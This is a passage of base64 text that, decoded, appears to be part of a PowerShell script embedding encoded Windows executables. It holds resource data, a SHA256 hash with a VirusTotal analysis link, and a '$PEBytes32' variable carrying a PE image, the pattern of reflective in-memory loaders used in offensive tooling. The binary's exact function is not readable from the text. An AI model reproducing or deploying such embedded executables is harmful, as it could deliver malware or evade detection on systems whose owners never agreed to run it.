QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQmdBQUFBWUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQkFBSUFBQUF3QUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFCQUFrRUFBQklBQUFBWVBBSEFDUUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE3N3UvUEQ5NGJXd2dkbVZ5YzJsdmJqMGlNUzR3SWlCbGJtTnZaR2x1WnowaVZWUkdMVGdpSUhOMFlXNWtZV3h2Ym1VOUlubGxjeUkvUGcwS1BHRnpjMlZ0WW14NUlIaHRiRzV6UFNKMWNtNDZjMk5vWlcxaGN5MXRhV055YjNOdlpuUXRZMjl0T21GemJTNTJNU0lnYldGdWFXWmxjM1JXWlhKemFXOXVQU0l4TGpBaVBqeDBjblZ6ZEVsdVptOGdlRzFzYm5NOUluVnlianB6WTJobGJXRnpMVzFwWTNKdmMyOW1kQzFqYjIwNllYTnRMbll6SWo0OGMyVmpkWEpwZEhrK1BISmxjWFZsYzNSbFpGQnlhWFpwYkdWblpYTStQSEpsY1hWbGMzUmxaRVY0WldOMWRHbHZia3hsZG1Wc0lHeGxkbVZzUFNKaGMwbHVkbTlyWlhJaUlIVnBRV05qWlhOelBTSm1ZV3h6WlNJK1BDOXlaWEYxWlhOMFpXUkZlR1ZqZFhScGIyNU1aWFpsYkQ0OEwzSmxjWFZsYzNSbFpGQnlhWFpwYkdWblpYTStQQzl6WldOMWNtbDBlVDQ4TDNSeWRYTjBTVzVtYno0OFlYQndiR2xqWVhScGIyNGdlRzFzYm5NOUluVnlianB6WTJobGJXRnpMVzFwWTNKdmMyOW1kQzFqYjIwNllYTnRMbll6SWo0OGQybHVaRzkzYzFObGRIUnBibWR6UGp4a2NHbEJkMkZ5WlNCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5VFRVa3ZNakF3TlM5WGFXNWtiM2R6VTJWMGRHbHVaM01pUG5SeWRXVThMMlJ3YVVGM1lYSmxQand2ZDJsdVpHOTNjMU5sZEhScGJtZHpQand2WVhCd2JHbGpZWFJwYjI0K1BDOWhjM05sYldKc2VUNEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3QkFBa0FBQUFHS2tncVVDcFNLbFFxV2lwY0tsNHFhaXAyS25ncWVpcDhLa0FBQUJBQkFEUUFBQUFNS0E0b0VDZ1NLQlFvR0NnYUtCd29IaWdnS0NJb0pDZ21LQ2dvS2lnc0tDNG9NQ2d5S0RRb05pZzRLRG9vUENnK0tBQW9RaWhFS0VZb1NDaEtLRXdvVGloUUtGSW9WQ2hXS0Znb1dpaGNLRjRvWUNoaUtHUW9aaWhvS0dvb2JDaHVLSEFvY2loMEtIWW9lQ2g2S0h3b2ZpaEFLSUlvaENpR0tJZ29paWlNS0k0b2tDaVNLSlFvbGlpWUtKb29uQ2llS0tBb29paWtLS1lvcUNpcUtLd29yaWl3S0xJb3RDaTJLTGdvdWlpOEtMNG9nQ2pDS01Rb3hpaklLTW9vekNqT0tOQW8waWpVS01BVUFRQUVBRUFBRUNqVUtOZ28yaWpjS040bzRDamlLT1FvNWlqcUtPd283aWp3S1BJbzlDajJLUGdvL2lqQ0tRUXBCaWtJS1FvcFBDbCtLVUFwZ2ltRUtZWXBpQ21LS1l3cGppbVFLWklwbENtV0taZ3BtaW1jS1o0cG9DbWlLYVFwcGltb0thb3ByQ211S2JBcHNpbTBLYllwdUNtNktid3B2aW1BS2NJcHhDbkdLY2dweWluTUtjNHAwQ25VS2RZcDJDbmFLZHdwM2luZ0tlSXA1Q25tS2VncDZpbnNLZTRwOENueUtmUXA5aW40S2ZvcC9DbitLY0FxQWlvRUtnWXFDQ29LS2d3cURpb1FLaElxRkNvV0toZ3FHaW9jS2g0cUlDb2lLaVFxSmlvb0tpb3FIQ3NlS3lBcklpc2tLeVlyS0NzcUt5d3JMaXN3S3pJck5DczJLemdyT2lzOEt6NHJBQ3RDSzBBQUFCZ0JBQzBBQUFBYUtwd3FuaXFnS3I0cWdpckdLc29xemlyU0t0WXEyaXJlS3VJcTVpcnFLdTRxOGlyMkt2b3EvaXJDS3dZckNpc09LeElyRmlzYUt4NHJJaXNtS3lvckxpc3lLellyT2lzK0t3SXJSaXRLSzA0clVpdFdLMW9yWGl0aUsyWXJhaXR1SzNJcmRpdDZLMzRyUWl1R0s0b3JqaXVTSzVZcm1pdWVLNklycGl1cUs2NHJzaXUySzdvcnZpdUNLOFlyeWl2T0s5SXIxaXZhSzk0cjRpdm1LK29yN2l2eUsvWXIraXYrSzhBQUFCd0JBQXdBUUFBQ0tBWW9DaWdPS0JJb0ZpZ2FLQjRvSWlnbUtDb29MaWd5S0RZb09pZytLQUlvUmloS0tFNG9VaWhXS0Zvb1hpaGlLR1lvYWlodUtISW9kaWg2S0g0b1FpaUdLSW9vamlpU0tKWW9taWllS0tJb3BpaXFLSzRvc2lpMktMb292aWlDS01Zb3lpak9LTklvMWlqYUtONG80aWptS09vbzdpanlLUFlvK2lqK0tNSXBCaWtLS1E0cEVpa1dLUm9wSGlraUtTWXBLaWt1S1RJcE5pazZLVDRwQWlsR0tVb3BUaWxTS1ZZcFdpbGVLV0lwWmlscUtXNHBjaWwyS1hvcGZpbENLWVlwaWltT0taSXBsaW1hS1o0cG9pbW1LYW9wcmlteUtiWXB1aW0rS1lJcHhpbktLYzRwMGluV0tkb3AzaW5pS2VZcDZpbnVLZklwOWluNktmNHB3aW9HS2dvcURpb1NLaFlxR2lvZUtpSXFKaW9xS2k0cU1pbzJLam9xUGlvQ0trWXFTaXBBQUFBZ0FRQVpBRUFBRENsUUtWUXBXQ2xjS1dBcFpDbG9LV3dwY0NsMEtYZ3BmQ2xBS1lRcGlDbU1LWkFwbENtWUtad3BvQ21rS2FncHJDbXdLYlFwdUNtOEtZQXB4Q25JS2N3cDBDblVLZGdwM0NuZ0tlUXA2Q25zS2ZBcDlDbjRLZndwd0NvRUtnZ3FEQ29RS2hRcUdDb2NLaUFxSkNvb0tpd3FNQ28wS2pncVBDb0FLa1FxU0NwTUtsQXFWQ3BZS2x3cVlDcGtLbWdxYkNwd0tuUXFlQ3A4S2tBcWhDcUlLb3dxa0NxVUtwZ3FuQ3FnS3FRcXFDcXNLckFxdENxNEtyd3FnQ3JFS3NncXpDclFLdFFxMkNyY0t1QXE1Q3JvS3V3cThDcjBLdmdxL0NyQUt3UXJDQ3NNS3hBckZDc1lLeHdySUNza0t5Z3JMQ3N3S3pRck9DczhLd0FyUkN0SUswd3JVQ3RVSzFnclhDdGdLMlFyYUN0c0szQXJkQ3Q0SzN3clFDdUVLNGdyakN1UUs1UXJtQ3VjSzZBcnBDdW9LNndyc0N1MEs3Z3J2Q3VBSzhRcnlDdk1LOUFyMUN2WUs5d3I0Q3ZrSytncjdDdndLL1FyK0N2OEs4QUFBQ1FCQUI0QUFBQUFLQVFvQ0NnTUtCQW9GQ2dZS0J3b0lDZ2tLQ2dvTENnd0tEUW9PQ2c4S0FBb1JDaElLRXdvVUNoVUtGZ29YQ2hnS0dRb2FDaHNLSEFvZENoNEtId29RQ2lFS0lnb2pDaVFLSlFvbUNpY0tLQW9wQ2lvS0t3b3NDaTBLTGdvdkNpQUtNUW95Q2pNS05BbzFDallLTUFBQUN3QkFBTUFBQUFlS2lBcUFEQUJBQlFBUUFBZUtHSW9aaWhxS0c0b2NpaDRLSG9vUUNpRUtJZ29qQ2lRS0pRb21DaWNLS0FvcENpb0tLd29zQ2kwS0xnb3ZDaUFLTVFveUNqTUtOQW8xQ2pZS053bzRDamtLT2dvN0Nqd0tQUW8rQ2o4S01BcEJDa0lLUXdwRUNrVUtSZ3BIQ2tnS1NRcEtDa3NLVEFwTkNrNEtUd3BBQ2xFS1VncFRDbFFLVlFwV0NwY0ttQXFaQ3BvS213cWNDcDBLbmdxZkNwQUtvUXFpQ3FNS3BBcWxDcVlLcHdxb0NxaUtxUXFwaXFvS3FvcXJDcXVLckFxc2lxMEtyWXF1Q3E2S3J3cXZpcUFLc0lxeENyR0tzZ3F5aXJNS3M0cTBDclNLdFFxMWlyWUt1QXE0aXJrS3VZcTZDcnFLdXdxN2lyOEt2NHF3Q3NDS3dRckJpc0lLd29yRGlzV0t4d3JJaXNvS3pBck1pczRLem9yUENzK0t3Z3JXaXRnSzJRcmJDdHdLMEFyaEN1SUs0d3JraXVXSzVvcm5pdXFLNjRyc2l1OEs3NHJqQ3ZVSzl3cjVDdnFLKzRyOGl2Nks4QUFBRFFCQUFNQUFBQUNLQVFvQURnQkFCMEFBQUE4S2tBcWlpcVVLcGdxbkNxZ0txUXFxQ3EwS3JvcWdpclFLdGdxNENybUt1b3E3aXI0S3NBckNDc1FLeGdySGlzaUt5b3JNaXM2S3dBclNDdE1LMWdyWEN0d0szUXJlQ3Q4SzBBcmhDdVFLNVlybml1aUs3SXJ1Q3U4Szc0cmpDdlVLK1FyN0N2MEsvd3J3QUFBUEFFQUNnQkFBQWdvRENnUUtCUW9HQ2djS0Nnb0xDZ3dLRFFvT0NnOEtBSW9SaWhLS0ZJb1hpaG9LSEFvZUNoQ0tJWW9paWlVS0p3b3BDaXlLTFlvdkNpSUtOQW8xaWphS09JbzdpanlLUFlvekNrUUtSUXBHQ2tpS1NZcE1DaytLUVlwVWlsY0tXSXBiQ2x5S1VZcGpDbVFLWllwb0NtbUthNHB0Q204S1l3cDFDbmNLZVFwNkNucUtmUXArQ24rS2NZcURDb1NLaGdxSGlvc0tqUXFQQ29FS2t3cVZDcGNLbWdxYkNwd0tuUXFlQ3A4S2tJcWhpcUtLbzRxbGlxZUtxNHF1Q3ErS29ncTBDcmNLdUFxN2lyeUt2d3F3Q3NFS3c0ckZDc1dLeVFyS0Nzc0t6QXJOQ3M0S3p3clBpc0FLMElyUml0T0sxZ3JZaXRzSzNJcmZDdENLNGdya2l1V0s1b3JvaXVxSzdBcnZpdUNLOGdyeml2U0s5d3I1Q3ZxSys0cjhpdjZLOEFBQVVBYUFFQUFDQ2dPS0JJb0dpZ2VLQ0lvTWlnK0tBZ29UaWhVS0Zvb1pDaHFLRzRvY0NoeUtIUW9kaWg2S0VRb2lDaU1LSkFvbENpWUtLSW9waWlxS0xRb3VDaTZLSUlveWlqWUtOd280Q2prS09nbzdDajRLTVFwRENrVUtSd3BJaWtxS1RBcE5pa0FLVVFwU0NsTUtWQXBVaWxnS1dncGJpbHlLWFlwZmlsR0tZb3BsQ21hS2FBcHBpbXlLYjRwaUNuT0tkUXAyQ25hS2VncDhDbjJLZm9wL2luSUtnNHFFaW9hS2lJcUtpbzRLandxQ0NwTUtsb3FYaXBrS21vcWJpcDZLbjRxUkNxS0tvNHFraXFjS3FJcXFDcXVLclFxdWlxQUtzWXEwQ3JXS3VBcTVpcnFLdlFxK2lyRUt3Z3JEQ3NRS3hRckdDc2NLeDRySUNzaUt5d3JQaXNFSzBZcldpdGlLMmdyYWl0c0syNHJjQ3R5SzNRcmRpdDRLM29yZkN0K0swQXJnaXVFSzRZcmlDdUtLNHdyaml1UUs1SXJsQ3VXSzVncm1pdWNLNTRyb0N1aUs2UXJxQ3VzSzd3cmdDdkVLOGdyekN2UUs5d3I1Q3ZxSy9Rci9DdkFBQUFFQVVBakFBQUFDQ2dRS0J3b0lDZ3NLRElvT2lnQ0tFd29VaWhXS0dBb1ppaHNLSElvU2lpU0tKZ29uaWlrS0tvb3VDaThLSUFveENqT0tOZ281aWpxS01BcEJDa0lLUXdwRUNrVUtSb3BIaWtpS1N3cE5DazhLUUlwVENsUUtWUXBXQ2xjS1dJcGFpbHlLWG9wU0NtTUthd3JyaXUySzc0cmhpdktLOVFyNEN2b0svUXIrQ3Y4SzhBQUFBZ0JRQWNBUUFBQUtBUW9DQ2dRS0JJb0lDZ2tLQ2dvTENnNEtENG9BQ2hJS0Vvb1VpaGFLR2dvY0NoNEtFZ29rQ2lXS0pvb25paW9LS3dvc0NpMEtMZ29naWpJS05BbzJpanFLUElveENrTUtSUXBHaWtlS1NvcE1DazJLVDRwRENscUtXNHBjaWxDS1lvcGxpbWFLYVFwckNteUtiWXB1aW1FS2NvcDFpbmdLZVlwL2luUUtoUXFHQ29jS2lBcUpDb3dLamdxQUNwR0trb3FVaXBhS2w0cWFDcHNLbkFxY2lwQUtvZ3FsQ3FjS3FZcXJpcThLb0FxeENySUtzd3EwQ3JjS3VJcTVpcnFLdTRxd0NzQ0t3b3JFaXNnS3lRcktDc3NLekFyTkNzNkt6NHJDQ3RVSzE0clppdHNLM0lyZUN0K0swUXJpaXVVSzU0cm9pdW1LN0Fyc2l1Nks0UXJ5aXZVSzl3cjRpdm1LK29yOGl2NEsvNHJ3QUFBREFGQUNBQkFBQXdvR2lnZUtDUW9LQ2dzS0Rvb0JDaEtLRkFvVmloZ0tHUW9hQ2hzS0hBb2RDaEFLSVlvamlpVUtLd29zQ2kwS0xnb3ZpaUNLTVlvemlqU0tOWW8zQ2pnS09vbzhpajZLTUlwQ2lrT0tSZ3BIQ2tnS1NRcEtDazRLVHdwQUNsRUtVZ3BUQ2xZS1Y0cFppbHNLWElwZUNsK0tVUXBpaW1RS1pZcG5DbWlLYWdwcmltMEtib3BsQ25lS2VJcDVpbjJLY0FxQmlvTUtoSXFHQ29vS2l3cU1DbzBLamdxUENvSUtsQXFWaXBlS21RcWZDcEFLb1lxakNxT0twZ3FvQ3FvS3E0cXRpcStLb1lxemlyVUt0d3E0Q3JrS3U0cStpckdLdzRyRmlzYUt5SXJLaXMwS3p3ckJDdEtLMDRyV0N0Z0syd3JkQ3QrSzBRcmxDdWFLNklycWl1MEs3WXJnaXZHSzlZcjNpdm1LKzRyOGl2NksvNHJ3QUFBRUFGQUJRQkFBQTRvRmlnZUtDSW9KaWdxS0RJb0FDaElLRTRvV0NoZUtHUW9haWgwS0h3b1JDaVVLSllvbUNpcUtMNG9naWpJS000bzJDamVLT1FvNmlqd0tNb3BEaWtVS1J3cEhpa3FLUzRwT0NrOEtRQXBSQ2xHS1ZRcFdDbGdLV1FwYUNseUtYNHBSaW1PS1pJcGxpbWFLYkFwdUNtQUtjb3AwaW5pS2VncDlpbkdLZ29xRUNvZUtpSXFLQ28yS2pvcUFDcE1LazRxVUNwaUtuUXFlQ3A4S2tBcWhDcVFLcGdxb2lxb0tyd3FnQ3JFS3NncXppcllLdDRxNUNycUt2QXE5aXI4S3NJckJpc0tLeFFyR2lzaUt5b3JMaXMyS3o0ckFpdE1LMUFyVkN0WUsySXJhQ3R5SzNvclFpdU1LNUlybUN1ZUs2UXJxaXV5SzdZcnVpdUtLOUFyNEN2a0srZ3I3Q3Z3Sy9RcitpdkFGQUZBRUFCQUFBSW9FQ2dZS0NBb0tDZ3VLRGdvUGlnQ0tFWW9TQ2hRS0ZJb1lDaGlLRzRvZENoOEtFQW9qQ2lRS0pRb21DaWNLS0FvcGlpcUtLNG9zaWk4S0lJb3hpalFLTmdvNENqb0tQQW8raWpFS1FvcEZpa2FLUjRwSmlrd0tUWXBQaWtFS1ZRcFhDbG9LWEFwZGlsK0tVd3BsQ21nS2E0cHNpbTBLYndwdmltS0tjNHA1Q25zS2ZRcHdDb0VLZ2dxRENvUUtoUXFJaW9tS2pBcU5pbzZLajRxQWlwTUtsSXFXQ3BjS21JcWFpcEVLcVFxcGlxMktyb3FnQ3JFS3NncXppclNLdFlxM2lya0t1b3ErQ3I2S3NnckVDc2FLeDRySWlzNEt3QXJTaXRPSzJBcmFDdHVLM0lyZGl0NkszNHJSaXVVSzVncm5DdWdLNlFycUN1dUs3Z3J2aXVFSzhZcnlDdktLOHdyeml2UUs5SXIxaXZhSzl3cjNpdmdLK0lyNUN2bUsrZ3I2aXZzSys0cjhDdnlLL1FyOWl2NEsvb3IvQ3YrSzhBWUFVQURBTUFBQUNnQ0tBWW9DQ2dLS0F3b0RpZ1FLQklvRkNnV0tCZ29HaWdjS0I0b0lDZ2lLQ1FvSmlnb0tDb29MQ2d1S0RBb01pZzBLRFlvT0NnNktEd29QaWdDS0VRb1NpaE1LRTRvVUNoU0tGUW9WaWhZS0Zvb1hDaGVLR0FvWWloa0tHWW9hQ2hxS0d3b2JpaHdLSElvZENoMktIZ29laWg4S0g0b1FpaUVLSVlvaUNpS0tJd29qaWlRS0pJb2xDaVdLSmdvbWlpY0tKNG9vQ2lpS0tvb3JDaXlLTFFvdGlpNEtMb292Q2krS0l3b3ppalFLTklvMUNqV0tOZ28yaWpjS040bzRDamlLT1FvNWlqb0tPb283Q2p5S1A0b3dDa0dLUXdwRGlrUUtSSXBGQ2tXS1JncEdpa2NLUjRwSUNraUtTUXBKaWtvS1NvcExDa3VLVEFwTWlrMEtUWXBPQ2s2S1R3cFBpa0FLVUlwUkNsSUtVb3BUQ2xRS1ZJcFdDbGFLV0FwWWlsb0tXb3BiQ2x3S1hJcGRDbDRLWG9wZkNsQUtZSXBpQ21LS1pBcGtpbVlLWm9wb0NtaUthZ3BxaW13S2JJcHVDbTZLYndwZ0NuQ0tjUXB5Q25LS2RBcDBpbllLZG9wM0NuZUtlQXA0aW5rS2VZcDZDbnFLZXdwN2lud0tmSXA5Q24yS2ZncCtpbjhLZjRwd0NvQ0tnUXFCaW9JS2dvcURDb09LaEFxRWlvVUtoWXFHQ29hS2pBcU1pb0FLa0lxUkNwR0trZ3FkaXA4S240cVFDcUNLb1FxaGlxSUtvb3FqQ3FPS3BBcWtpcVVLcFlxbUNxYUtwd3FuaXFnS3FJcXBDcW9LcW9xcmlxd0tySXF2Q3ErS29BcXdpckVLc1lxeUNyS0t0QXEwaXJVS3RZcTJDcmFLdHdxM2lyZ0t1SXE1Q3JtS3VncTZpcnNLdTRxOENyeUt2UXE5aXI0S3ZvcS9DcitLc0FyQWlzRUt3WXJDQ3NNS3c0ckVpc1VLeGdyR2lzZUt5QXJKaXNzS3k0ck1Dc3lLelFyTmlzNEt6b3JQQ3MrS3dBclJpdE1LMDRyVUN0U0sxUXJXaXRnSzJJclpDdG1LMmdyYWl0c0syNHJjQ3R5SzNRcmRpdDRLM29yZkN0K0swQXJnaXVFSzRZcmlDdUtLNHdya2l1WUs1b3JuQ3VlSzZBcm9pdWtLNllycUN1cUs2d3JyaXV3SzdJcnRDdTJLN2dydWl1OEs3NHJnQ3ZDSzhRcnhpdklLOG9yekN2T0s5QXIwaXZVSzlZcjJDdmFLOXdyM2l2Z0srSXI1Q3ZtSytncjZpdnNLKzRyOEN2eUsvUXI5aXY0Sy9vci9DditLOEFjQVVBYkFFQUFBQ2dDS0FRb0JpZ0lLQXdvRWlnVUtCWW9HQ2dhS0J3b0hpZ2dLQ0lvSkNnbUtDZ29LaWdzS0M0b01DZ3lLRFFvTmlnNEtEb29BQ2hHS0Vnb1NpaE1LRTRvVkNoYUtGd29YaWhnS0dJb1pDaG1LR2dvYmlod0tISW9kQ2gyS0hnb2VpaDhLSDRvUUNpQ0tJUW9oaWlNS0pRb25DaWtLS1lvckNpdUtMUW90aWk4S0lBb3dpakVLTVlvekNqT0tOUW8yaWpjS040bzRpamtLT1lvNkNqcUtPd283aWp3S1BJbzlDajJLUGdvK2lqOEtQNG93Q2tDS1FRcEJpa0lLUW9wRENrT0tSQXBFaWtVS1JZcEdDa2FLUndwSGlrZ0tTSXBKQ2ttS1NncEtpa3NLUzRwTUNreUtUUXBOaWs0S1RvcFBDaytLUUFwUWlsRUtVWXBTQ2xLS1V3cFRpbFFLVklwVkNsV0tWZ3BXaWxjS1Y0cFlDbGlLV1FwWmlsb0tXb3BiQ2x1S1hBcGNpbDBLWFlwZUNsNktYd3BmaWxBS1lJcGhDbUdLWWdwaWltTUtZNHBrQ21TS1pRcGxpbStLZVFxNWlyb0t1b3E3aXJ5S3ZRcTlpcjRLdm9xd0FBQUJBSEFCQUFBQUJJcVdDcGFLa0FBQUJ3QndDTUFBQUFPS0I0b0xDaCtLRVlvamlpV0tKNG9xaWl3S0xJb3RDaUNLTVFvMkNqbUtYQXFNaW8wS2pZcU9DbzZLandxUGlvQUtrSXFSaXBJS2tvcVRDcE9LbEFxVWlwVUttd3FyaXF3S3JJcXRDcTJLcm9xa0Nya0t2Z3EyQ3NjS3l3ck1Dc0FLMFFyVkN0WUsyZ3JiQ3Q4SzBBcnJDdXdLNEFyeEN2VUs5Z3I2Q3ZzSy9vcndBQUFJQUhBTFFBQUFBQW9CQ2dTS0JZb0dpZ2dLQ1FvTkNnNEtBZ29UQ2hhS0Y0b1ppaXFLTG9vdmlpT0tOSW80aWptS1BZbytpaktLUTRwSGlraUtUSXBOaWtHS1VvcFdpbGVLVzRwY2lsQ0tZWXBsaW1hS2FvcHJpbStLWUlwMGluV0tlWXA2aW42S2Y0cHppb1NLaUlxSmlvMktqb3FDaXBPS2w0cVlpcHlLbllxUmlxS0twb3FuaXF1S3JJcWdpckdLdFlxMmlycUt1NHEvaXJDS3hJckZpczBLemdyTEN0QUs1UXJnQ3ZVSytncndBQUFKQUhBSUFBQUFBUW9DQ2dZS0J3b0xDZ3dLQUFvUkNoc0tIQW9RQ2lFS0pRb21DaW9LS3dvdkNpQUtPQW85Q2pJS1J3cE5DazJLUkFwWkNsNEtVd3BvQ21BS2RRcDZDbjhLZEFxSkNvNEtnd3FZQ3AwS2tncW5DcXdLb1FxM0NyaUt2UXF5Q3NvS3p3ckVDdGtLM2dyVEN1Y0s1NHJvaXUwSzRncjNDdndLOEFvQWNBVkFBQUFCQ2dZS0RRb09pZ0lLRTRvWUNoMEtFZ29uQ2l3S0lRbzFDaldLTm9vN0NqOEtQNG93aWtRS1JJcEZpa29LVHdwRUNsc0tXNHBjaWxFS1pRcGxpbWFLYXdwZ0NuVUtlUXA1aW5xS2NBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQT0nDQogICAgDQogICAgIyBTSEEyNTYgaGFzaDogYzIwZjMwMzI2ZmNlYmFkMjU0NDZjZjJlMjY3YzM0MWFjMzQ2NjRlZmFkNWM1MGZmMDdmMDczOGFlMjM5MGVhZQ0KICAgICMgaHR0cHM6Ly93d3cudmlydXN0b3RhbC5jb20vZW4vZmlsZS9jMjBmMzAzMjZmY2ViYWQyNTQ0NmNmMmUyNjdjMzQxYWMzNDY2NGVmYWQ1YzUwZmYwN2YwNzM4YWUyMzkwZWFlL2FuYWx5c2lzLzE0NTAxNTI5MTMvDQogICAgJFBFQnl0ZXMzMiA9ICdUVnFRQUFNQUFBQUVBQUFBLy84QUFMZ0FBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBRUFBQTRmdWc0QXRBbk5JYmdCVE0waFZHaHBjeUJ3Y205bmNtRnRJR05oYm01dmRDQmlaU0J5ZFc0Z2FXNGdSRTlUSUcxdlpHVXVEUTBLSkFBQUFBQUFBQUROVUtWTWlUSExINGt4eXgrSk1jc2ZQYTA2SDRBeHl4ODlyVGdmQ3pITEh6MnRPUitRTWNzZmJHaklIcDB4eXg5c2FNNGVuekhMSDJ4b3p4NmFNY3NmNzk4QUg0c3h5eDlLUHBZZmp6SExINEJKV0IrY01jc2ZpVEhLSDZrd3l4OTdhTU1ldERITEgzdG95eDZJTWNzZmUyZzBINGd4eXg5N2FNa2VpREhMSDFKcFkyaUpNY3NmQUFBQUFBQUFBQUJRUlFBQVRBRUZBT1YwYjFZQUFBQUFBQUFBQU9BQUFpRUxBUTRBQUpJREFBQ3lBZ0FBQUFBQXllQUJBQUFRQUFBQXNBTUFBQUFBRUFBUUFBQUFBZ0FBQlFBQkFBQUFBQUFGQUFFQUFBQUFBQUNBQmdBQUJBQUFBQUFBQUFNQVFBRUFBQkFBQUJBQUFBQUFFQUFBRUFBQUFBQUFBQkFBQUFBQTN3VUFYd0FBQUdEZkJRQXNBUUFBQURBR0FJZ0NBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFHQU93MUFBQXcxZ1VBSEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZEV0JRQkFBQUFBQUFBQUFBQUFBQUFBc0FNQWVBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNTBaWGgwQUFBQVpKQURBQUFRQUFBQWtnTUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFDQUFBR0F1Y21SaGRHRUFBSjVMQWdBQXNBTUFBRXdDQUFDV0F3QUFBQUFBQUFBQUFBQUFBQUJBQUFCQUxtUmhkR0VBQUFCc0tnQUFBQUFHQUFBZ0FBQUE0Z1VBQUFBQUFBQUFBQUFBQUFBQVFBQUF3QzV5YzNKakFBQUFpQUlBQUFBd0JnQUFCQUFBQUFJR0FBQUFBQUFBQUFBQUFBQUFBRUFBQUVBdWNtVnNiMk1BQU93MUFBQUFRQVlBQURZQUFBQUdCZ0FBQUFBQUFBQUFBQUFBQUFCQUFBQkNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFGV0w3SXROREZaWGkzMEloY2wxQTQxUElJdEZFSWxITUl0RkZJbEhOSTFIR0ZCWGFDTVJBQkJSNkxyakFRQ0w4SVBFRUlYMmRBMStIZyszOW9IT0FBQUhnT3NUaTA4RUQ3Y0JVRkZxQWxmb0NRQUFBSVBFRUYrTHhsNWR3MVdMN1A5MUZJdEZDUDkxRVA5MURQOXdIUDl3R09peDR3RUFnOFFVaGNCK0NBKzN3QTBBQUFlQVhjTlZpK3hXaTNVSS8zWWMvM1lZNk5IakFRQ0RaaGdBZzJZY0FGbFpYbDNEVll2c2kwVU1NOUpXdnRDMEF4Q0Z3SFFRaTlDTDhJMUtBWW9DUW9UQWRma3IwWXROQ0kxQ0FZTmhCQUNEWVF3QWlUR0pRUWhlWGNOVmkreUxSUXhXVnpQL3ZyUlRCQkNMMTRYQWRCYUwwSXZ3alVvQ1pvc0NnOElDWmp2SGRmVXIwZEg2aTAwSWpRUlZBZ0FBQUlsNUJJbDVERitKTVlsQkNGNWR3MVdMN0l0RktJWEFkR3FMVFF5TFZSQlRpMTBjVjR0OUlJUHBBSFFxZytrQmRTaUUwblFHRDdiS1Flc0Z1UUFCQUFDSkNJdE5GSWxJQ0l0TkdJbElESWxZRUlsNEZPc0dneUFBaTAwWVZvdHdNSVgyZEJ6L2NEVC9kU1JYVTFIL2RSU0x6bEwvZFF6L2RRam8wTlFCQVAvV1hsOWJYY0lrQUZXTDdJdEZEQXRGRUhRdGkxVUlpMG9JaTBJTUkwME1JMFVRQzhoMEZvdENFSXRLRkNORkRDTk5FRHRDRUhVRk8wb1VkQVF5d0YzRHNBRmR3MVdMN0lQc0VLQmoxd1VRaTFVTWk4cFdpM1VJZ2VtdzFnVVFnY2tBQUFBTGl3S0pSZlNMUWdTSlJmaUxRZ2lEd2d5SlRmQ0xUUnlKUmZ5TFJnUlJnMkVFQVA5MUdJa0JpMFlFLzNVVS8zVVFEN2NBZzJFVUFJbEJDTWRCREFJQUFBQ0pVUkFQdHdLSlFSaU5SZkJReDBFY0FRQUFBUDkySFA5MkdPaE80Z0VBZzhRY1hvdmxYY1BNdUZncUJoRERWWXZzLzNVWS8zVVUvM1VRLzNVTS8zVUk2T1AvLy8vL2NBVC9NT2daRlFJQWc4bi9nOFFjaGNBUFNNRmR3NDFFSkJCUWFnRC9kQ1FVLzNRa0ZQOTBKQlRvdXYvLy80UEVGTU9LUVFHRXdIa1Bab3RCQW9yb2lzd1B0OEdEd0FUREQ3YkFnOEFDdz